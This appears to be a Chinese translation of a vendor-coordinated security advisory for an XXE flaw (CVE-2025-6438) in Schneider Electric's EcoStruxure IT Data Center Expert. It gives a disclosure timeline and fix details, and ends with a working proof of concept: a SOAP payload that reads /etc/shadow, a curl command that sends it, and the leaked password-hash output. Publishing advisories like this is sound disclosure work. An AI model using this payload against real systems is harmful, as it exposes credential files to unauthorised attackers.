施耐德电气EcoStruxure IT数据中心专家XML外部实体注入漏洞深度解析

本文详细分析了施耐德电气EcoStruxure IT数据中心专家v8.3及之前版本存在的XML外部实体注入漏洞(CVE-2025-6438),攻击者可通过SOAP请求读取本地文件、进行SSRF攻击,并包含完整的概念验证代码和修复时间线。

漏洞详情

受影响厂商: 施耐德电气
受影响产品: EcoStruxure IT Data Center Expert
受影响版本: 8.3及之前版本
平台: CentOS
CWE分类: CWE-611: XML外部实体引用限制不当
CVE ID: CVE-2025-6438

漏洞描述

“DataExchange"路由允许SOAP请求的XML主体包含对外部实体的引用。这使得未经身份验证的攻击者能够读取本地文件、执行服务器端请求伪造(SSRF)并耗尽Web服务器资源。

技术描述

从认证用户的角度来看,用户可以向”/DataExchange/DataExchangeService" Web路由发送SOAP请求,在POST主体中提供XML文档。当Web应用程序处理XML时,会不安全地解析引用外部资源(如本地文件)的实体。

“GetHistoryRequest” SOAP操作可用于通过将实体引用放置在XML文档的"Id"参数中来泄露解析值。生成的错误消息反映了已解析实体的值,例如本地文件的内容。

缓解和修复建议

EcoStruxure IT Data Center Expert 9.0版本包含对这些漏洞的修复,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

致谢

此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

披露时间线

  • 2024-11-21: KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22: 厂商确认收到KoreLogic的提交
  • 2024-12-06: 厂商确认报告的漏洞
  • 2024-12-12: 厂商请求与KoreLogic会面讨论修复时间线
  • 2024-12-18: 双方同意将漏洞详情保密至2025年7月产品更新9.0
  • 2025-01-29: 厂商提供状态更新
  • 2025-03-17: 厂商提供包含修复的测试版
  • 2025-06-20: 厂商通知公开日期为2025-07-08
  • 2025-07-08: 厂商公开披露
  • 2025-07-09: KoreLogic公开披露

概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
[attacker@box]$ cat payload
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/shadow'>]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:ns="http://www.schneider-electric.com/common/dataexchange/2011/05">

   <soapenv:Header/>
   <soapenv:Body>
      <ns:GetHistoryRequest>
         <ns:GetHistoryParameter>
            <ns:Id>&test;</ns:Id>
         </ns:GetHistoryParameter>
         <ns:GetHistoryFilter>
         </ns:GetHistoryFilter>
      </ns:GetHistoryRequest>
   </soapenv:Body>
</soapenv:Envelope>

[attacker@box]$ curl --digest --user kore:logic \
                         -k https://dce.example.com/DataExchange/DataExchangeService \
                         -H 'Content-Type: text/xml' --data @payload

攻击结果显示在错误消息中返回了/etc/shadow文件的内容:

1
2
3
4
root:$6$nAQ9/nHfzNJH2Q28$t0.KyJ810alBDwz3NGyEWNGWzQgXdrsUooT1UbXKz9SfpkHLaZngVY6oA8TVCYnCqP2boorvDsmufXawpy1T41:20021:0:99999:7:::
bin:*:19767:0:99999:7:::
daemon:*:19767:0:99999:7:::
...

本公告内容版权归KoreLogic, Inc.所有,采用知识共享署名-相同方式共享4.0国际许可协议进行许可

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计